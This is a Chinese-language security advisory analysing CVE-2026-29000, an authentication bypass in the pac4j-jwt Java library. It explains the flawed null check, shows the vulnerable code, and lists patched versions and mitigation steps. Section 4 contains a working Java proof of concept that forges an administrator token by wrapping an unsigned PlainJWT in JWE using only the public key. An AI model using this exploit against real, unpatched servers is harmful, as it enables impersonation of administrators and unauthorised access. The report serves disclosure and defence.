執行摘要

此技術報告分析了 CVE-2026-29000,一個存在於 pac4j-jwt(一個廣泛使用的 Java 認證函式庫)中的重大認證繞過漏洞。該漏洞的 CVSS 分數達到 10.0,允許攻擊者僅使用伺服器的 RSA 公鑰,即可偽造帶有任意 claims 的 JSON Web Tokens (JWT)。核心問題在於簽章驗證邏輯中不當的 null 檢查,使得攻擊者能夠透過提交包裹在 JWE 加密中的未簽名 PlainJWT token 來繞過密碼學驗證。此報告提供了關於漏洞機制、攻擊技術及緩解策略的全面技術分析。

JWT 公鑰淪為攻擊武器:pac4j 漏洞如何讓攻擊者「空手」偽造管理員身份 | 資訊安全新聞

1. 簡介

JSON Web Tokens (JWTs) 已成為現代網路應用程式中實現無狀態認證的標準機制。JWT 規範定義了三種 token 類型:JWS (已簽名)、JWE (已加密) 和 PlainJWT (未簽名)。儘管 PlainJWT 在技術上符合規範,但基於安全考量,通常不鼓勵在生產系統中使用。pac4j-jwt 中的漏洞展示了,當對輸入類型的假設未經過當驗證時,即使是各自正確的程式碼元件組合起來,也可能產生重大的安全缺口 [1]

2. 技術背景

2.1 JWT 認證架構

實際的 JWT 部署通常採用兩層安全模型。第一層是 JWE (JSON Web Encryption),用於確保機密性,使用伺服器的 RSA 公鑰加密整個 token。第二層是 JWS (JSON Web Signature),用於確保真實性,使用伺服器的私鑰對 token 的 payload 進行數位簽章。預期的驗證流程要求兩層都必須通過:解密必須成功,且簽章必須正確驗證。這種雙層方法確保即使攻擊者取得公鑰,也無法在沒有私鑰的情況下偽造有效的 token。

graph TD A["Client Sends JWT Token"] --> B["Server Receives Token"] B --> C["Decrypt JWE Layer
Using Private Key"] C --> D["Extract Inner JWT
from Decrypted Payload"] D --> E{Is Inner JWT
a JWS?} E -->|Yes| F["Verify JWS Signature
Using Public Key"] E -->|No| G["VULNERABILITY:
Signature Check Skipped"] F --> H{Signature
Valid?} H -->|Yes| I["Authenticate User
with Claims"] H -->|No| J["Reject Token"] G --> I

2.2 Nimbus JOSE+JWT 函式庫

Nimbus JOSE+JWT 函式庫為 pac4j 提供底層的密碼學操作。該函式庫中一個關鍵的方法是 toSignedJWT() ,它嘗試將解密後的 payload 解析為 JWS。如果 payload 是有效的 JWS,該方法會回傳解析後的物件。如果 payload 是 PlainJWT (未簽名),該方法會回傳 null 。這種行為是符合規範的,但當 pac4j 的 null 檢查邏輯有缺陷時,便會產生漏洞。

3. 漏洞分析

3.1 根本原因:有缺陷的 Null 檢查邏輯

漏洞源於 JwtAuthenticator.java 類別。有漏洞的程式碼片段顯示了簽章驗證的門檻邏輯存在重大錯誤。當收到 JWE token 時,程式碼會將其解密並嘗試提取內部的 JWT。只有當 toSignedJWT() 回傳非 null 值時,提取出的 JWT 才會被賦值給變數 signedJWT 。接著,整個簽章驗證區塊受到對 signedJWT 的 null 檢查所保護。然而,認證設定檔 (profile) 是使用 jwt 變數建立的,而該變數保留了來自原始 token 解析的值,即使當 signedJWT 為 null 時也是如此。

  1. // Vulnerable Code Pattern
  2. for (EncryptionConfiguration config : encryptionConfigurations) {
  3. try {
  4. encryptedJWT.decrypt(config);
  5. // Extract inner JWT - returns null if not a JWS
  6. signedJWT = encryptedJWT.getPayload().toSignedJWT();
  7. if (signedJWT != null) {
  8. jwt = signedJWT; // Only updates if JWS
  9. }
  10. found = true;
  11. break;
  12. } catch (JOSEException e) { ... }
  13. }
  14. // Signature verification - ONLY if signedJWT is not null
  15. if (signedJWT != null) {
  16. for (SignatureConfiguration config : signatureConfigurations) {
  17. if (config.supports(signedJWT)) {
  18. verify = config.verify(signedJWT);
  19. }
  20. }
  21. }
  22. // Authentication - uses jwt variable regardless
  23. createJwtProfile(ctx, credentials, jwt);

關鍵缺陷在於,當 signedJWT null (表示這是一個 PlainJWT) 時,簽章驗證區塊被完全跳過,但 createJwtProfile() 仍然會使用未經驗證的 jwt 變數被呼叫。這就建立了一個從未經驗證的 token 到有效使用者 session 的直接路徑。

3.2 攻擊機制

此攻擊手法利用了 PlainJWT token 符合規範的特性。能夠取得伺服器 RSA 公鑰的攻擊者可以執行以下步驟:首先,偽造任意的 JWT claims,包括所需的使用者身份和角色。其次,建立一個包含這些 claims 的未簽名 PlainJWT。第三,使用伺服器的公鑰將此 PlainJWT 加密,包裹在一個 JWE 容器中。第四,將精心偽造的 token 提交給伺服器。解密後,伺服器提取出 PlainJWT, toSignedJWT() 回傳 null ,跳過簽章驗證,並以任意權限驗證攻擊者身份。

4. 概念驗證分析

4.1 攻擊流程實作

概念驗證展示了完整的攻擊鏈。攻擊者首先取得伺服器的 RSA 公鑰,這在 RSA 密碼系統中是公開的。該金鑰通常可透過 JWKS endpoints、設定檔案或 TLS 憑證檢查取得。有了公鑰,攻擊者便可以建構惡意的 claims,指定管理員權限和提升的角色。

  1. // Step 1: Craft malicious claims
  2. JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
  3. .subject("admin#override")
  4. .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
  5. .claim("email", "attacker@evil.com")
  6. .expirationTime(new Date(System.currentTimeMillis() + 3_600_000))
  7. .build();
  8. // Step 2: Create UNSIGNED PlainJWT
  9. PlainJWT innerJwt = new PlainJWT(maliciousClaims);
  10. // Step 3: Wrap as JWE using only the public key
  11. JWEObject jweObject = new JWEObject(
  12. new JWEHeader.Builder(
  13. JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
  14. .contentType("JWT")
  15. .build(),
  16. new Payload(innerJwt.serialize())
  17. );
  18. jweObject.encrypt(new RSAEncrypter(publicKey));
  19. String maliciousToken = jweObject.serialize();
  20. // Step 4: Submit to server
  21. TokenCredentials credentials = new TokenCredentials(maliciousToken);
  22. auth.validate(credentials, MockWebContext.create(), new MockSessionStore());
  23. // Step 5: Verify bypass
  24. System.out.println("[BYPASS] Authenticated as: " +
  25. credentials.getUserProfile().getId());
  26. System.out.println("[BYPASS] Roles: " +
  27. credentials.getUserProfile().getRoles());

輸出結果顯示成功以具有超級使用者權限的管理員身份通過認證,證實了漏洞的存在。此攻擊不需要知道私鑰、無需暴力破解,也不需要共享密鑰——僅需公開可得的 RSA 金鑰。

4.2 Token 結構分析

精心偽造的 token 在外部保持著合法 JWE token 的外觀。對於僅檢查加密 header 和密文的觀察者來說,該 token 與經過正確簽名和加密的 token 無法區分。此漏洞只有在解密後,伺服器發現內部 payload 未簽名時才會顯現。但到了這一步,有漏洞的程式碼已經決定跳過簽章驗證。

5. 安全影響

5.1 完全認證繞過

該漏洞允許完全繞過認證,並實現任意權限提升。攻擊者可以在不持有任何密鑰的情況下,冒充任何使用者,包括管理員。這違反了認證應透過密鑰知識(Secret knowledge)或密碼學持有來(Cryptographic possession)證明身份的基本安全原則。

5.2 更廣泛的模式識別

此漏洞體現了安全實作中的一個更廣泛的模式:能夠正確處理預期輸入的程式碼,卻未能驗證規範允許的輸入。類似的模式也出現在使用正則表達式的(Regex-based)安全過濾器、Path traversal 防護以及反序列化防護中。當對輸入類型的假設未被明確執行時,各自正確的元件組合起來就會產生漏洞。

受影響版本 最低修補版本 CVSS 分數 狀態
4.x (4.5.9 之前) 4.5.9+ 10.0 已修補
5.x (5.7.9 之前) 5.7.9+ 10.0 已修補
6.x (6.3.3 之前) 6.3.3+ 10.0 已修補

6. 緩解與補救措施

6.1 立即行動

使用 pac4j-jwt 的組織必須立即升級到已修補的版本。修復程式透過確保無論內部 JWT 類型為何,簽章驗證都是強制性的,來解決 null 檢查邏輯的問題。具體來說,修補後的程式碼強制規定,如果設定為加密,則必須存在並驗證有效的簽章。這可以防止接受未簽名的 PlainJWT token。

6.2 驗證步驟

為了確定系統是否受影響,開發人員應驗證三個條件:(1) 此應用程式採用 JWE 加密,設定為 RSA 演算法,(2) 加密和簽章設定都已新增到 JwtAuthenticator,以及 (3) pac4j-jwt 的版本低於漏洞公告中列出的已更新版本。受影響的系統應優先考慮立即更新。

7. 結論

CVE-2026-29000 代表了 JWT 認證實作中的一個重大漏洞,凸顯了在安全關鍵程式碼中進行明確輸入驗證的重要性。該漏洞的根本原因——一個控制簽章驗證的有缺陷的 null 檢查——突顯了對 token 結構的假設如何造成可被利用的缺口。雖然有漏洞程式碼的各個元件是正確的,但它們的組合卻造成了完全的認證繞過。三個主要版本線的快速修補部署顯示了開源社群對安全性的承諾。組織必須優先更新到已修補的版本,並審查其 JWT 處理實作,以確保其客製程式碼中不存在類似的漏洞。